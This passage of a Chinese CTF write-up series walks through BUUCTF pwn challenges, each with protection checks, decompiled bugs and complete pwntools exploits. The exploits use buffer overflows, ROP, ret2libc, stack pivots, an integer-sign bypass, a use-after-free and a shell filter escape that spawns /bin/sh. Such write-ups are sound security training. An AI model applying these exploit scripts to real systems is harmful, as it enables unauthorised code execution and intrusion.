gadget1=0x40059A#pop rbx rbp r12 r13 r14 r15
gadget2=0x400580#mov rdx r13 ,mov rsi r14 call r12
gadget3=0x4005A3#pop rdi ret
vuln=0x4004ED
syscall=0x400517
gdb.attach(p, "b *" + str(vuln))
payload1="/bin/sh\x00"*2+p64(vuln)
print len(payload1)


p.send(payload1)
base=u64(p.recv()[32:40])
print hex(base)
sh_addr=base-0x118
#sh_addr+0x50 -> 0x4004E2
payload2="/bin/sh\x00"*2+p64(gadget1)+p64(0)+p64(0)+p64(sh_addr+0x50)+p64(0)+p64(0)+p64(0)+p64(gadget2)+p64(execve)+p64(gadget3)+p64(sh_addr)+p64(syscall)
p.send(payload2)
p.interactive()

jarvisoj_level0

检查保护

ios@ubuntu:~/APwn/buuctf$ checksec level0 
[*] '/home/ios/APwn/buuctf/level0'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

查看源代码

ssize_t vulnerable_function()
{
  char buf; // [rsp+0h] [rbp-80h]

  return read(0, &buf, 0x200uLL);
}

这题没啥难度 给了shell

直接溢出到ret起shell

确定偏移

Program received signal SIGSEGV (fault address 0x0)
gdb-peda$ pattern offset 0x41416d4141514141
4702159612987654465 found at offset: 136
gdb-peda$

exp

from pwn import *

p=process('./level0')
payload="a"*136+p64(0x400596)
p.sendline(payload)
p.interactive()

[HarekazeCTF2019]baby_rop2

在无put write时利用printf 泄漏地址

检查保护

ios@ubuntu:~/APwn/buuctf$ checksec babyrop2
[*] '/home/ios/APwn/buuctf/babyrop2'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

查看代码

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // eax
  char buf[28]; // [rsp+0h] [rbp-20h]
  int v6; // [rsp+1Ch] [rbp-4h]

  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  printf("What's your name? ", 0LL);
  v3 = read(0, buf, 0x100uLL);
  v6 = v3;
  buf[v3 - 1] = 0;
  printf("Welcome to the Pwn World again, %s!\n", buf);
  return 0;
}

很直观buf会被溢出

基本思路 leak 函数地址 计算偏移 getshell

题目没用write puts用了printf 所以我们就来利用printf 来leak函数地址

思路

首页printf如何输出地址?

printf(&read)或者printf("格式化字符串",&read)

需要构造成这样

这里的格式化可以通过题目中有的或者find得到去构造

64位参数传递需要通过寄存器

从第一个到第六个依次保存在rdi,rsi,rdx,rcx,r8,r9。从第7个参数开始,接下来的所有参数都将通过栈传递

这里我们第一个参数 fmtstr 通过find 字符串格式化

gdb-peda$ find %s
Searching for '%s' in: None ranges
Found 292 results, display max 256 items:
  babyrop2 : 0x400790 --> 0xa217325 ('%s!\n')
  babyrop2 : 0x600790 --> 0xa217325 ('%s!\n')
      libc : 0x7ffff7a38860 (<_nl_find_locale+768>:    and    eax,0x397373)
      libc : 0x7ffff7b3d6a7 (<_openchild+23>:    and    eax,0x85fffc73)
      libc : 0x7ffff7b9964a --> 0x72740a000a0a7325 ('%s\n\n')
      libc : 0x7ffff7b99666 --> 0x617473000a0a7325 ('%s\n\n')
      libc : 0x7ffff7b99d93 ("%s%s%s%s%s%s%s%s%s%s\n")
      libc : 0x7ffff7b99d95 ("%s%s%s%s%s%s%s%s%s\n")
      libc : 0x7ffff7b99d97 ("%s%s%s%s%s%s%s%s\n")
      libc : 0x7ffff7b99d99 ("%s%s%s%s%s%s%s\n")
      libc : 0x7ffff7b99d9b ("%s%s%s%s%s%s\n")
      libc : 0x7ffff7b99d9d ("%s%s%s%s%s\n")
      libc : 0x7ffff7b99d9f ("%s%s%s%s\n")
      libc : 0x7ffff7b99da1 --> 0xa732573257325 ('%s%s%s\n')
      libc : 0x7ffff7b99da3 --> 0x4e49000a73257325 ('%s%s\n')
      libc : 0x7ffff7b99da5 --> 0x4f464e49000a7325 ('%s\n')
      libc : 0x7ffff7b99e44 ("%s%sUnknown signal %d\n")
      libc : 0x7ffff7b99e46 ("%sUnknown signal %d\n")
      libc : 0x7ffff7b99f0c ("%s%ssignal %d\n")
      libc : 0x7ffff7b99f0e ("%ssignal %d\n")
      libc : 0x7ffff7b99f4d --> 0x5d70255b00207325 ('%s ')
      libc : 0x7ffff7b99f6f --> 0x6375530028207325 ('%s (')
      libc : 0x7ffff7b9af41 ("%s%s%s[%p] ")
      libc : 0x7ffff7b9af43 ("%s%s[%p] ")
--More--(25/257)

发现程序中存在%s 那我们就利用%s获取

接着需要传入格式化的值通过顺位第二个寄存器rsi存入read_got

接着ret到printf_plt即可完成泄漏

后续就是计算system与binsh addr getshell

exp

from pwn import *
context.log_level = 'debug' 

p=process('./babyrop2')
elf=ELF('babyrop2')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
printf_plt=elf.sym['printf']
read_got=elf.got['read']
pop_rdi=0x0000000000400733# : pop rdi ; ret
pop_rsi=0x0000000000400731# : pop rsi ; pop r15 ; ret
fmt=0x400790
main=0x400636
payload="a"*0x20+'b'*8+p64(pop_rdi)+p64(fmt)+p64(pop_rsi)+p64(read_got)+p64(0)+p64(printf_plt)+p64(main)
p.sendline(payload)

read=u64(p.recv()[-26:-20].ljust(8,'\x00'))

print hex(read)
system=read-libc.sym['read']+libc.sym['system']
sh=read-libc.sym['read']+next(libc.search('/bin/sh'))
print hex(sh)
payload1="a"*0x20+'b'*8+p64(pop_rdi)+p64(sh)+p64(system)
p.sendline(payload1)
p.interactive()

jarvisoj_level2

这题不多说了 之前也是做过的 直接getshell就好

exp

from pwn import *
p=process('level2')
system=0x8048320
sh=0x804A024
payload='a'*0x88+'b'*4+p32(system)+p32(0x1553155)+p32(sh)
p.sendline(payload)
p.interactive()

ciscn_2019_n_5

基本栈溢出 ret_shellcode

检查保护

ios@ubuntu:~/APwn/buuctf$ checksec ciscn_2019_n_5
[*] '/home/ios/APwn/buuctf/ciscn_2019_n_5'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments
ios@ubuntu:~/APwn/buuctf$

保护全关

exp

from pwn import *
context(arch='amd64', os='linux',log_level='debug')
#p=process('./ciscn_2019_n_5')
p=remote('node3.buuoj.cn',25965)
sh=asm(shellcraft.amd64.sh())
p.sendline(sh)
p.recvuntil('What do you want to say to me?')
payload='a'*(0x20+0x8)+p64(0x601080)

p.sendline(payload)

p.interactive()

[BJDCTF 2nd]r2t3

检查保护

ios@ubuntu:~/APwn/buuctf$ checksec r2t3
[*] '/home/ios/APwn/buuctf/r2t3'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

ida分析

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf; // [esp+0h] [ebp-408h]

  my_init();
  puts("**********************************");
  puts("*     Welcome to the BJDCTF!     *");
  puts("[+]Ret2text3.0?");
  puts("[+]Please input your name:");
  read(0, &buf, 0x400u);
  name_check(&buf);
  puts("Welcome ,u win!");
  return 0;
}

read 读入0x400大小的字符串放入buf中 且此处不存在溢出

调用函数 name_check(&buf);

char *__cdecl name_check(char *s)
{
  char dest; // [esp+7h] [ebp-11h]
  unsigned __int8 v3; // [esp+Fh] [ebp-9h]

  v3 = strlen(s);
  if ( v3 <= 3u || v3 > 8u )
  {
    puts("Oops,u name is too long!");
    exit(-1);
  }
  printf("Hello,My dear %s", s);
  return strcpy(&dest, s);
}

对输入的s 检测长度存存入v3 (这里strlen存在两个问题 1.可以通过\x00 截断控制长度 2.在32位中寄存器可存放长度为255,如果我们输入字符串长度为256 则寄存器会溢出 得到的字符串长为1)

QQ20200803-174403@2x

EAX为实际长度,EDX为此时strlen返回的值也就是v3

继续向下

strcpy(&dest, s);

strcpy 会复制s中的字符串(直到读到\x00停止)到dest中 ,所以这道题目不能使用\x00绕过,而应该采取第二种溢出strlen的返回值即可

QQ20200803-174759@2x

可以看到 如果我们发送的字符串长度为0x104(260)则溢出后的v3=EDX=0x4 满足判断条件>=3 <8

题目中给了binsh 以及system地址 因为system没有在程序中调用过 我们还需要从plt开始完成调用

exp

from pwn import *
context.log_level='debug'
p=process('./r2t3')
binsh=0x8048760
system=0x8048430
print len(p32(binsh))
p.recvuntil('name')
gdb.attach(p)
#payload=
payload="a"*0x11+"bbbb"+p32(system)+p32(0x1553155)+p32(binsh)
payload+="v"*(260-len(payload))
p.send(payload)
p.interactive()

bjdctf_2020_babystack

简单溢出

QQ20200803-182420@2x

exp

from pwn import *
context.log_level='debug'
#p=process('./bjdctf_2020_babystack')
p=remote('node3.buuoj.cn',25988)
p.recvuntil('name')
p.sendline(str(100))
p.recvuntil('name')
payload="a"*24+p64(0x4006E6)
p.sendline(payload)
p.interactive()

ciscn_2019_ne_5

检查保护

ios@ubuntu:~/APwn/buuctf$ checksec ciscn_2019_ne_5
[*] '/home/ios/APwn/buuctf/ciscn_2019_ne_5'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
ios@ubuntu:~/APwn/buuctf$

ida分析

QQ20200803-204204@2x

题目需要先输入 密码然后返回菜单

int __cdecl AddLog(int a1)
{
  printf("Please input new log info:");
  return __isoc99_scanf("%128s", a1);
}

addlog函数读入字符串 长度为128,a1为src

int __cdecl Display(char *s)
{
  return puts(s);
}

puts打印我们刚输入的字符串

int Print()
{
  return system("echo Printing......");
}

print给了system ,我们可以考虑利用这里的system参数sh或者bin/sh参数getshell

int __cdecl GetFlag(char *src)
{
  char dest[4]; // [esp+0h] [ebp-48h]
  char v3; // [esp+4h] [ebp-44h]

  *(_DWORD *)dest = 0x30;
  memset(&v3, 0, 0x3Cu);
  strcpy(dest, src);
  return printf("The flag is your log:%s\n", dest);
}

strcpy 存在溢出 覆盖0x48+0x4即可到ret(这里要注意strcpy的性质简单\x00就截断,所以如果构造调试发现没有溢出 问题就出在这里!)

刚开始我认为这道题目需要ret2libc 然后getshell,但是调试发现binsh地址被截断无法溢出

gdb find sh 发现存在sh 所以可以考虑溢出跳转到print函数调用system前 push edx后 getshell

QQ20200803-204950@2x

我们用fflush中的sh来进行getshell

exp

from pwn import *
context.log_level='debug'
#p=process('./ciscn_2019_ne_5')
p=remote('node3.buuoj.cn',26812)
elf=ELF('ciscn_2019_ne_5')
libc=ELF('/lib/i386-linux-gnu/libc.so.6')
puts_plt=elf.sym['puts']
puts_got=elf.got['puts']
main=0x8048722
p.recvuntil('password:')
p.sendline('administrator')
p.recvuntil('Input your operation:')
p.recvuntil(':')
p.sendline('1')
payload='a'*76+p32(0x80486B7)+p32(0x80482ea)
p.sendline(payload)
p.recvuntil('Input your operation:')
p.recvuntil(':')
p.sendline('2')
#gdb.attach(p)
p.recvuntil('Input your operation:')
p.recvuntil(':')
p.sendline('4')
p.interactive()

pwn2_sctf_2016

gdb-peda$ checksec 
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

ida分析

int vuln()
{
  char nptr; // [esp+1Ch] [ebp-2Ch]
  int v2; // [esp+3Ch] [ebp-Ch]

  printf("How many bytes do you want me to read? ");
  get_n((int)&nptr, 4u);
  v2 = atoi(&nptr);
  if ( v2 > 32 )
    return printf("No! That size (%d) is too large!\n", v2);
  printf("Ok, sounds good. Give me %u bytes of data!\n", v2);
  get_n((int)&nptr, v2);
  return printf("You said: %s\n", &nptr);
}

v2存在问题

这里会有有符号和无符号数的转化 ,如果传入负数会进行负数到正数的转化导致:v2=-1 (绕过if判断) 然后再get_n中 v2被定义成了无符号 整型出现v2=4294967295

unsigned int __cdecl get_n(int input, unsigned int size) //这里的size就是传入的v2
{
  unsigned int v2; // eax
  unsigned int result; // eax
  char v4; // [esp+Bh] [ebp-Dh]
  unsigned int v5; // [esp+Ch] [ebp-Ch]

这样的转换会使v2从负数变为正数4294967295 从而导致溢出nptr

然后就可以常规ret2libc就能getshell了

exp

from pwn import *
context.log_level='debug'
#p=process('./pwn2_sctf_2016')
p=remote('node3.buuoj.cn',26491)
elf=ELF('pwn2_sctf_2016')
libc=ELF('/lib/i386-linux-gnu/libc.so.6')
printl_plt=elf.sym['printf']
printl_got=elf.got['printf']
p.recvuntil('?')
p.sendline('-1')
#gdb.attach(p)
p.recvuntil('!')
payload="a"*0x30+p32(printl_plt)+p32(0x80485B8)+p32(printl_got)+p32(0x8048702)
p.sendline(payload)
p.recvuntil("\x0a")
p.recvuntil("\x0a")
printf=u32(p.recv(4))
print hex(printf)
base=printf-0x049020
system=base+0x03a940
binsh=base+0x15902b
p.recvuntil('?')
p.sendline('-1')
p.recvuntil('!')
payload="a"*0x30+p32(system)+p32(0x1553155)+p32(binsh)
p.sendline(payload)
#gdb.attach(p)
p.interactive()

铁人三项(第五赛区)_2018_rop

检查保护

gdb-peda$ checksec 
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

ida分析

int __cdecl main(int argc, const char **argv, const char **envp)
{
  be_nice_to_people();
  vulnerable_function();
  return write(1, "Hello, World\n", 0xDu);
}
int be_nice_to_people()
{
  __gid_t v0; // ST1C_4

  v0 = getegid();
  return setresgid(v0, v0, v0);
}
<p class="code-caption" data-lang="" data-line_number="frontend" data-trim_indent="backend" data-label_position="outer" data-labels_left="" data-labels_right="" data-labels_copy=""><span class="code-caption-label"></span></p>

获取当前运行程序的id 如果是root则为0

修改程序权限为当前运行权限

ssize_t vulnerable_function()
{
  char buf; // [esp+10h] [ebp-88h]

  return read(0, &buf, 0x100u);
}

存在溢出

可以利用write leak libc

QQ20200804-000124@2x

主要write函数的参数以及堆栈排布

payload="a"*0x8c+p32(write)+p32(0x80484C6)+p32(0x1)+p32(read)+p32(4)

所以对应构造堆栈排布即可leak

exp

from pwn import *
context.log_level='debug'
#p=process('./2018_rop')
p=remote('node3.buuoj.cn',28487)
libc=ELF('libc/18/x86-libc-2.27.so')
elf=ELF('2018_rop')
write=elf.sym['write']
read=elf.got['read']
#gdb.attach(p)
payload="a"*0x8c+p32(write)+p32(0x80484C6)+p32(0x1)+p32(read)+p32(4)
p.sendline(payload)
read=u32(p.recv())
print hex(read)
base=read-libc.sym['read']
system=base+libc.sym['system']
binsh=base+next(libc.search('/bin/sh'))
payload="a"*0x8c+p32(system)+p32(0x15553)+p32(binsh)
p.sendline(payload)
p.interactive()

ez_pz_hackover_2016

检查保护

ios@ubuntu:~/APwn/buuctf$ checksec ez_pz_hackover_2016
[*] '/home/ios/APwn/buuctf/ez_pz_hackover_2016'
    Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments

ida分析

int chall()
{
  size_t v0; // eax
  int result; // eax
  char s; // [esp+Ch] [ebp-40Ch]
  _BYTE *v3; // [esp+40Ch] [ebp-Ch]

  printf("Yippie, lets crash: %p\n", &s);
  printf("Whats your name?\n");
  printf("> ");
  fgets(&s, 1023, stdin);
  v0 = strlen(&s);
  v3 = memchr(&s, 0xA, v0);
  if ( v3 )
    *v3 = 0;
  printf("\nWelcome %s!\n", &s);
  result = strcmp(&s, "crashme");
  if ( !result )
    result = vuln((unsigned int)&s, 0x400u);
  return result;
}

memchr函数用于取\n(0xa)之前的数据,该函数返回一个指向匹配字节的指针,如果在给定的内存区域未出现字符,则返回 NULL。

然后看到strcmp函数 需要满足出现crashme才可以触发vuln函数,这里用到\x00进行截断 strcmp只会比较\x00之前的数据,所以可以在\x00后面来布置rop

void *__cdecl vuln(char src, size_t n)
{
  char dest; // [esp+6h] [ebp-32h]

  return memcpy(&dest, &src, n);
}

就进行了一个复制 大小为0x400 但是dest不可能存放这么多数据 所以会产生溢出,溢出可以通过gdb调试获得

leak fgets接着构造rop进行getshell即可

exp

from pwn import *
context.log_level='debug'
context.arch='i386'
p=process('./ez_pz_hackover_2016')
elf=ELF('ez_pz_hackover_2016')
libc=ELF('/lib/i386-linux-gnu/libc.so.6')
fmt=0x804884e
printf=elf.sym['printf']
fgets=elf.got['fgets']
#gdb.attach(p)
p.recvuntil('>')
payload='crashme\x00'+'a'*18+p32(printf)+p32(0x80486E2)+p32(fmt)+p32(fgets)
p.sendline(payload)
p.recvuntil('Welcome')

fget=u32(p.recvuntil('\xf7')[-4:])
print hex(fget)
base=fget-libc.sym['fgets']
system=base+libc.sym['system']
binsh=base+next(libc.search('/bin/sh'))
p.recvuntil('>')
payload='crashme\x00'+'a'*18+p32(system)+p32(0x1553155)+p32(binsh)
p.sendline(payload)
p.interactive()

bjdctf_2020_babyrop

简单rop

ssize_t vuln()
{
  char buf[32]; // [rsp+0h] [rbp-20h] BYREF

  puts("Pull up your sword and tell me u story!");
  return read(0, buf, 0x64uLL);
}

read存在溢出,给了puts函数 可以leak puts=>getshell

exp

from pwn import *
context.log_level='debug'
#p=process('./bjdctf_2020_babyrop')
p=remote('node3.buuoj.cn',28711)
elf=ELF('bjdctf_2020_babyrop')
libc=ELF('libc/16/x64-libc-2.23.so')
#gdb.attach(p)
puts_plt=elf.sym['puts']
puts_got=elf.got['puts']
pop_rdi=0x0000000000400733# : pop rdi ; ret
payload="a"*40+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(0x4006AD)
p.recvuntil('!')
p.sendline(payload)
puts=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
print hex(puts)
base=puts-libc.sym['puts']
system=base+libc.sym['system']
binsh=base+next(libc.search('/bin/sh'))
p.recvuntil('!')
payload="a"*40+p64(pop_rdi)+p64(binsh)+p64(system)
p.sendline(payload)
p.interactive()

ciscn_2019_es_2

检查保护

ios@ubuntu:~/APwn/buuctf$ checksec ciscn_2019_es_2
[*] '/home/ios/APwn/buuctf/ciscn_2019_es_2'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

ida分析

int __cdecl main(int argc, const char **argv, const char **envp)
{
  init();
  puts("Welcome, my friend. What's your name?");
  vul();
  return 0;
}

32位有puts 考虑可能需要leak puts

int vul()
{
  char s; // [esp+0h] [ebp-28h]

  memset(&s, 0, 0x20u);
  read(0, &s, 0x30u);
  printf("Hello, %s\n", &s);
  read(0, &s, 0x30u);
  return printf("Hello, %s\n", &s);
}

read存在问题 读入0x30 可以溢出(8字节) 4字节ebp、4字节ret

虽然题目给了system(“echo flag”) 但是远程环境并没有echo这个参数 所以考虑栈迁移

调试可以测试出我们读入的s的栈地址 ,第一次溢出用于leak 栈地址+返回main函数。第二次溢出构造栈迁移到s_stack地址(leak出的地址是我们输入的地址 所以第二次溢出的数据可以构造rop)

构造 leak puts+1次read读入 返回system 起shell

exp

from pwn import *
context.log_level='debug'
p=process('./ciscn_2019_es_2')
elf=ELF('ciscn_2019_es_2')
libc=ELF('/lib/i386-linux-gnu/libc.so.6')
puts_plt=elf.sym['puts']
puts_got=elf.got['puts']
read_plt=elf.sym['read']
leave_ret=0x080484b8# : leave ; ret
#p=remote('node3.buuoj.cn',25556)
payload='bbbb'+'a'*0x28+p32(0x80485FF)
gdb.attach(p)
p.send(payload)
p.recvuntil('Hello')
p.recvuntil('\xf7')
stack=u32(p.recv(4))-0x60 //这里的stack可以自行gdb调试一下
print hex(stack)
payload='cccc'+'c'*0x1c
p.send(payload)
p.recvuntil('Hello')
payload='d'*0x30+p32(stack)+p32(puts_plt+4)+p32(read_plt)+p32(puts_got)+p32(0)+p32(stack+4)+p32(0x10)+p32(0x1553155)
payload+='f'*(0x58-len(payload))+p32(stack)+p32(leave_ret)
p.send(payload)
p.recvuntil('Hello')
p.recvuntil('\x0a')
p.recvuntil('\x0a')
puts=u32(p.recv(4))
print hex(puts)
base=puts-libc.sym['puts']
system=base+libc.sym['system']
binsh=base+next(libc.search('/bin/sh'))
payload=p32(system)+p32(0x1553155)+p32(binsh)
p.send(payload)
p.interactive()

遇到问题

本地测试成功getshell 不知道为啥远程还是有问题

QQ20200804-203033@2x

后面发现自己做的复杂了2333

[BJDCTF 2nd]test

题目很有意思

给定ssh

QQ20200804-204514@2x

直接读取flag是没有权限的,需要通过test来进行读取

ctf@a9a029a6e619:~$ ls -l
total 20
-rw-r----- 1 root ctf_pwn   43 Aug  4 12:36 flag
-r-xr-sr-x 1 root ctf_pwn 8920 Mar 18 05:46 test
-rw-r--r-- 1 root ctf_pwn  812 Mar 18 05:46 test.c
ctf@a9a029a6e619:~$

cat test.c 可以看代码

ctf@a9a029a6e619:~$ cat test.c 
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(){
    char cmd[0x100] = {0};
    puts("Welcome to Pwn-Game by TaQini.");
    puts("Your ID:");
    system("id");
    printf("$ ");
    gets(cmd);
    if( strstr(cmd, "n")
       ||strstr(cmd, "e")
       ||strstr(cmd, "p")
       ||strstr(cmd, "b")
       ||strstr(cmd, "u")
       ||strstr(cmd, "s")
       ||strstr(cmd, "h")
       ||strstr(cmd, "i")
       ||strstr(cmd, "f")
       ||strstr(cmd, "l")
       ||strstr(cmd, "a")
       ||strstr(cmd, "g")
       ||strstr(cmd, "|")
       ||strstr(cmd, "/")
       ||strstr(cmd, "$")
       ||strstr(cmd, "`")
       ||strstr(cmd, "-")
       ||strstr(cmd, "<")
       ||strstr(cmd, ">")
       ||strstr(cmd, ".")){
        exit(0);    
    }else{
        system(cmd);
    }
    return 0;
}

一个c_shell 并进行了过滤 我们可以通过下列命令进行查找过滤后可以使用的命令(去掉含这些字符的命令)

ls /usr/bin/ /bin/ | grep -v -E "n|e|p|b|u|s|h|i|f|l|a|g"
ctf@a9a029a6e619:~$ ls /usr/bin/ /bin/ | grep -v -E "n|e|p|b|u|s|h|i|f|l|a|g"
dd
kmod
mt
mv
rm

2to3
2to3-2.7
2to3-3.4
[
comm
od
tr
tty
w
wc
x86_64
xxd

<p class="code-caption" data-lang="" data-line_number="frontend" data-trim_indent="backend" data-label_position="outer" data-labels_left="" data-labels_right="" data-labels_copy=""><span class="code-caption-label"></span></p>
od 指令会读取所给予的文件的内容,并将其内容以八进制字码呈现出来。
mt 命令用来控制磁带驱动器的操作,比如查看状态或查找磁带上的文件或写入磁带控制标记
tr 命令用于转换或删除文件中的字符。
x86_64 当前执行域仅影响uname -m的输出。例如,在AMD64系统上,运行setarch i386程序will.cause程序会将i686而不是x86_64视为计算机类型。 它还允许设置各种个性选项。 缺省程序是/ bin / sh。

这道题看了下wp,正常用od * 读取所有文件 开头的就是flag 这个没问题 有趣的事 x86_64命令 居然可以用来起shell

QQ20200804-205853@2x

学到了2333

[Black Watch 入群题]PWN

ida分析

ssize_t vul_function()
{
  size_t v0; // eax
  size_t v1; // eax
  char buf; // [esp+0h] [ebp-18h]

  v0 = strlen(m1);
  write(1, m1, v0);
  read(0, &s, 0x200u);
  v1 = strlen(m2);
  write(1, m2, v1);
  return read(0, &buf, 32u);
}

4字节溢出 明显需要栈迁移 s在bss段 地址已知 我们通过 leave_ret跳转到bss执行rop

puts还未调用 所以可以用write泄露地址。本来这里我打算自己构造个read读system binsh,但是出现问题就利用了vul_function自己的read 通过read(0, &s, 0x200u);读入 控制ip getshell

exp

from pwn import *
context.log_level='debug'
#p=process('./spwn')
p=remote('node3.buuoj.cn',29689)
elf=ELF('spwn')
libc=ELF('libc/16/x86-libc-2.23.so')
write_plt=elf.sym['write']
write_got=elf.got['write']
read_plt=elf.sym['read']
bss=0x804A300
main=0x80483A0
leave_ret=0x08048408 #: leave ; ret
p.recvuntil('name?')
#gdb.attach(p)
payload1=p32(bss+4)+p32(write_plt)+p32(0x80484C7)+p32(1)+p32(write_got)+p32(4)
p.sendline(payload1)
p.recvuntil('say?')
payload='a'*24+p32(bss)+p32(leave_ret)
p.sendline(payload)
write=u32(p.recv(4))
print hex(write)
base=write-libc.sym['write']
system=base+libc.sym['system']
binsh=base+next(libc.search('/bin/sh'))
payload='a'*24+p32(bss)+p32(0x1553155)
p.sendline("test"+'aaaa'+p32(system)+p32(0x1553155)+p32(binsh))
p.interactive()

others_shellcode

emm 以为是利用m_protect改地址权限。原来直接给你shell了

push    ebp
mov     ebp, esp
call    __x86_get_pc_thunk_ax
add     eax, 1AA8h
xor     edx, edx        ; envp
push    edx
push    'hs//'
push    'nib/'
mov     ebx, esp        ; file
push    edx
push    ebx
mov     ecx, esp        ; argv
mov     eax, 0FFFFFFFFh
sub     eax, 0FFFFFFF4h
int     80h             ; LINUX - sys_execve
nop
pop     ebp
retn

[BJDCTF 2nd]ydsneedgirlfriend2

ida分析

int menu()
{
  puts(&byte_400E6F);
  puts("1.add a girlfriend");
  puts("2.dele a girlfriend");
  puts("3.show a girlfriend");
  puts("4.exit");
  return puts("u choice :");
}

通过menu 进行函数逐个分析

unsigned __int64 add()
{
  void **v0; // rbx
  int nbytes; // [rsp+8h] [rbp-28h]
  char buf[8]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v4; // [rsp+18h] [rbp-18h]

  v4 = __readfsqword(0x28u);
  if ( count > 7 )
  {
    puts("Full!");
    exit(-1);
  }
  if ( !girlfriends )
  {
    girlfriends = malloc(0x10uLL);
    if ( !girlfriends )
    {
      perror("malloc failed=");
      exit(-1);
    }
  }
  *(_QWORD *)(girlfriends + 8LL) = print_girlfriend_name;
  puts("Please input the length of her name:");
  read(0, buf, 8uLL);
  nbytes = atoi(buf);
  v0 = (void **)girlfriends;
  *v0 = malloc(nbytes);
  if ( !*girlfriends )
  {
    perror("name malloc failed=");
    exit(-1);
  }
  puts("Please tell me her name:");
  read(0, (void *)*girlfriends, (unsigned int)nbytes);
  puts("what a beautiful name! Thank you on behalf of yds!");
  ++count;
  return __readfsqword(0x28u) ^ v4;
}

首先知道count=7 (0-7) 也就是最多存8个,girlfriends 可以看为一个结构体 存在一个固定参数 girlfriends + 8LL = print_girlfriend_name;另外一个就是 每次输入的name了

所以可以新建一个结构体

QQ20200808-202005@2x

QQ20200808-203134@2x

这样分析就清晰明了很多

unsigned __int64 add()
{
  void **v0; // rbx
  int nbytes; // [rsp+8h] [rbp-28h]
  char buf[8]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v4; // [rsp+18h] [rbp-18h]

  v4 = __readfsqword(0x28u);
  if ( count > 7 )
  {
    puts("Full!");
    exit(-1);
  }
  #判断 girlfriends是否被创建 如果没有则创建(每次运行程序只会创建一次)
  if ( !girlfriends )
  {
    girlfriends = (struct_girlfriends *)malloc(0x10uLL);
    if ( !girlfriends )
    {
      perror("malloc failed=");
      exit(-1);
    }
  }
  #每次add()操作后都会将print_addr=print_girlfriend_name
  girlfriends->print_addr = print_girlfriend_name;
  puts("Please input the length of her name:");
  read(0, buf, 8uLL);
  nbytes = atoi(buf);
  #对name_addr创建存储
  v0 = &girlfriends->name_addr;
  *v0 = malloc(nbytes);
  if ( !girlfriends->name_addr )
  {
    perror("name malloc failed=");
    exit(-1);
  }
  puts("Please tell me her name:");
  #读入name_addr的内容
  read(0, girlfriends->name_addr, (unsigned int)nbytes);
  puts("what a beautiful name! Thank you on behalf of yds!");
  ++count;
  return __readfsqword(0x28u) ^ v4;
}
unsigned __int64 dele()
{
  int v1; // [rsp+0h] [rbp-10h]
  char buf[4]; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v3; // [rsp+8h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("Index :");
  read(0, buf, 4uLL);
  v1 = atoi(buf);
  if ( v1 >= 0 && v1 < count )
  {
    if ( *(&girlfriends + v1) )
    {
      #free掉当前索引(0)的 name_addr
      free((*(&girlfriends + v1))->name_addr);
      #free掉当前索引(0)
      free(*(&girlfriends + v1));
      #存在uaf漏洞 free掉girlfriends[0]之后并没有将该地址置为0
      puts("Why are u so cruel!");
    }
  }
  else
  {
    puts("Out of bound!");
  }
  return __readfsqword(0x28u) ^ v3;
}
<p class="code-caption" data-lang="" data-line_number="frontend" data-trim_indent="backend" data-label_position="outer" data-labels_left="" data-labels_right="" data-labels_copy=""><span class="code-caption-label"></span></p>

漏洞分析

free后没有将该地址置为0,导致如果申请相同大小,注意这里free掉两个堆块 其中第一个只是name_addr的堆块并不是我们girlfriends堆块 ,girlfriends堆块0x10(0x8 size name_addr、0x8 size print_girlfriend_name)

QQ20200808-204245@2x

这是add 0x30 size的name后的heap状态 ,可以看到 0x10的是我们的girlfriends 本来应该有两个指针一个放name_addr(因为free了name 所以这里的fd指向为0 如果不为0会指向第二个name堆块地址+0x10处,堆头0x10 size )

QQ20200808-204505@2x

此时再bins可以看到free掉的两个堆块地址

如果我们申请大小0x10 会怎么样?

会把bins中的 0x10(0x20处)size的堆块分配出来,也就是我们会重新申请到girlfriends堆块,那我们在add时就能编辑他的内容 包括控制print_addr

add(0x30,'A'*0x30)
dele(0)
add(0x10,p64(0xdeadbeef)+p64(0x1553155))
gdb.attach(p)

可以测试下

QQ20200808-204915@2x

发现确实修改了 girlfriends并且。bk (原为print_addr)现在修改为了0x1553155

QQ20200808-205127@2x

原在bins中的0x10大小的空闲堆块被申请了回去

题目给出backdoor函数我们修改print_addr为backdoor函数 接着调用print函数就可以成功getshell

exp

from pwn import *

p=process('./ydsneedgirlfriend2')
#p=remote('node3.buuoj.cn',26415)
def add(size,con):
    p.recvuntil('choice :')
    p.sendline('1')
    p.recvuntil('name:')
    p.sendline(str(size))
    p.recvuntil('name:')
    p.sendline(con)
    p.recvuntil('yds!')
def dele(idx):
    p.recvuntil('choice :')
    p.sendline('2')
    p.recvuntil('Index :')
    p.sendline(str(idx))
    p.recvuntil('cruel!')
def show(idx):
    p.recvuntil('choice :')
    p.sendline('3')
